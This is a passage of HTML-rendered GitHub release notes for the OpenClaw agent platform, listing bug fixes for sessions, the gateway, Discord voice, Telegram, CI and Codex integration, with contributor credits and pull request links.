data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
<p>Gateway/security: escape transcript metadata field names while extracting oversized session line prefixes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Plugins/security: validate manifest model pattern regexes with the safe-regex compiler so unsafe patterns are ignored before matching. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord: route gateway metadata REST lookups through the configured Discord proxy so proxied accounts do not fall back to direct <code>discord.com</code> connections before opening the WebSocket. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Clivilwalker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Clivilwalker">@Clivilwalker</a>.</p>
</li>
<li>
<p>Agents/media: hydrate current-turn image attachments from filename-derived MIME types so active vision can see generated or forwarded images whose source omitted an image content type. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491887450" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84812" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84812/hovercard" href="https://github.com/openclaw/openclaw/pull/84812">#84812</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/marchpure/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/marchpure">@marchpure</a>.</p>
</li>
<li>
<p>Agents/fs: point workspace-only scratch-path guidance at in-workspace temp directories while keeping host-root writes rejected by the tool guard. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517290933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86501" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86501/hovercard" href="https://github.com/openclaw/openclaw/pull/86501">#86501</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</p>
</li>
<li>
<p>Agents/media: keep async cron media completions scoped to their run session while preserving direct delivery for stale generated-media success and failure notifications. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517772956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86529/hovercard" href="https://github.com/openclaw/openclaw/pull/86529">#86529</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</p>
</li>
<li>
<p>Gateway: emit plugin <code>session_end</code>/<code>session_start</code> hooks when <code>agent.send</code> rotates or replaces a session id, keeping hook lifecycle state aligned with <code>sessions.changed</code> notifications. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467265613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83507" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83507/hovercard" href="https://github.com/openclaw/openclaw/issues/83507">#83507</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509963144" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85875/hovercard" href="https://github.com/openclaw/openclaw/pull/85875">#85875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>OpenShell/SSH: reject malformed generated exec commands before sandbox/session setup so unresolved workflow placeholders fail fast instead of reaching the remote shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332058570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72373/hovercard" href="https://github.com/openclaw/openclaw/issues/72373">#72373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Google: stop normalizing <code>gemini-3.1-flash-lite</code> to the retired preview endpoint and update Flash Lite alias guidance to the GA model id. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512418235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86151" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86151/hovercard" href="https://github.com/openclaw/openclaw/issues/86151">#86151</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513395718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86240" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86240/hovercard" href="https://github.com/openclaw/openclaw/pull/86240">#86240</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Installer: make Alpine apk installs cover Git, verify the Node runtime floor, try <code>nodejs-current</code>, and report Alpine version guidance when repositories only provide older Node packages.</p>
</li>
<li>
<p>Agents/status: prefer the active Claude CLI OAuth auth label over an unused Anthropic env API-key label for equivalent runtime aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415131122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80184/hovercard" href="https://github.com/openclaw/openclaw/issues/80184">#80184</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518344489" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86570/hovercard" href="https://github.com/openclaw/openclaw/pull/86570">#86570</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</p>
</li>
<li>
<p>Agents/media: send direct fallback for generated media still missing after an active requester wake fails. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505148850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85489" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85489/hovercard" href="https://github.com/openclaw/openclaw/pull/85489">#85489</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents: derive overflow compaction budgets from provider-reported and synthetic over-budget token counts so confirmed context overflows compact before retrying. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: recover Codex context-window prompt errors through overflow compaction and surface reset guidance when recovery is exhausted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</p>
</li>
<li>
<p>Agents/Codex: allow Codex app-server runs to bootstrap from <code>CODEX_API_KEY</code> or <code>OPENAI_API_KEY</code> when no Codex auth profile is configured.</p>
</li>
<li>
<p>Agents/Codex: keep selected Codex runtime routing on OpenAI-Codex while preserving direct OpenAI API-key compaction fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/funmerlin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/funmerlin">@funmerlin</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</p>
</li>
<li>
<p>Agent transcript: include OpenClaw agent session logs when finding local transcript candidates.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands wrapped in absolute <code>time</code> paths so RSS probes can run Node and pnpm on fresh macOS runners.</p>
</li>
<li>
<p>Crabbox: bootstrap raw AWS macOS shell commands even when setup statements precede Node or pnpm usage.</p>
</li>
<li>
<p>TUI/local: skip unnecessary secret resolution, gateway model catalog loading, bootstrap, and skill scans in explicit local-model runs so startup reaches the model request faster.</p>
</li>
<li>
<p>Sessions/doctor: load large session stores without clone amplification during read-only doctor checks and reclaim stale <code>sessions.json.*.tmp</code> sidecars. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4162810373" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56827/hovercard" href="https://github.com/openclaw/openclaw/issues/56827">#56827</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Tests: clean successful plugin gateway gauntlet isolated temp roots while keeping an explicit preservation switch for failed/debug runs.</p>
</li>
<li>
<p>Plugins/perf: reuse derived plugin metadata snapshots for the lifetime of the process so reply-time skill setup no longer rescans plugin metadata on every turn.</p>
</li>
<li>
<p>Discord/OpenAI voice: keep wake-name master consults using the current speaker context after ignored ambient transcripts and shorten the default capture silence grace.</p>
</li>
<li>
<p>Doctor: skip redundant Gateway restart prompts when a recent supervisor restart leaves the Gateway healthy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517583554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86518" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86518/hovercard" href="https://github.com/openclaw/openclaw/issues/86518">#86518</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Cron: restore suspended cron lanes to the configured/default concurrency instead of falling back to one after quota or circuit-breaker auto-resume.</p>
</li>
<li>
<p>Gateway: keep session-only Control UI tool-start mirrors flowing during diagnostic queue pressure instead of silently dropping non-terminal tool updates.</p>
</li>
<li>
<p>Agents/memory: return optional not-found context for missing date-only daily memory reads instead of logging benign first-run <code>ENOENT</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</p>
</li>
<li>
<p>Discord: merge streamed text captions into following media block replies so captions and attachments send as one message. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Gateway: avoid sending duplicate tool-event frames to Control UI connections that are subscribed by both run and session.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept broader edge-position fuzzy wake-name transcripts while keeping ambient speech gated.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept longer leading wake-name mistranscripts such as "Open Club" for OpenClaw.</p>
</li>
<li>
<p>Agents/OpenAI-compatible: stop ModelStudio-compatible chat requests before sending system/tool-only payloads that have no usable user or assistant turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512668599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86177" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86177/hovercard" href="https://github.com/openclaw/openclaw/pull/86177">#86177</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</p>
</li>
<li>
<p>Gateway/plugins: reuse plugin package realpath checks while building installed plugin indexes so startup avoids repeated filesystem resolution work.</p>
</li>
<li>
<p>Kilo Gateway: send string <code>stop</code> sequences as arrays so Kilo accepts OpenAI-compatible chat completions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516690908" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86461" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86461/hovercard" href="https://github.com/openclaw/openclaw/pull/86461">#86461</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: accept leading fuzzy wake-name transcripts such as "Monty" or "Moti" for a Molty agent while keeping ambient speech gated.</p>
</li>
<li>
<p>Media understanding: convert HEIC and HEIF images to JPEG before image description providers run so iPhone photos work in direct and configured image-description flows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>)</p>
</li>
<li>
<p>Agents: release embedded-attempt session locks from outer teardown so post-prompt exceptions cannot wedge later requests behind <code>SessionWriteLockTimeoutError</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</p>
</li>
<li>
<p>Discord/OpenAI voice: rotate Realtime sessions at provider max duration without logging the expected session-expiry event as an error.</p>
</li>
<li>
<p>Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514294799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86327/hovercard" href="https://github.com/openclaw/openclaw/pull/86327">#86327</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abnershang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abnershang">@abnershang</a>.</p>
</li>
<li>
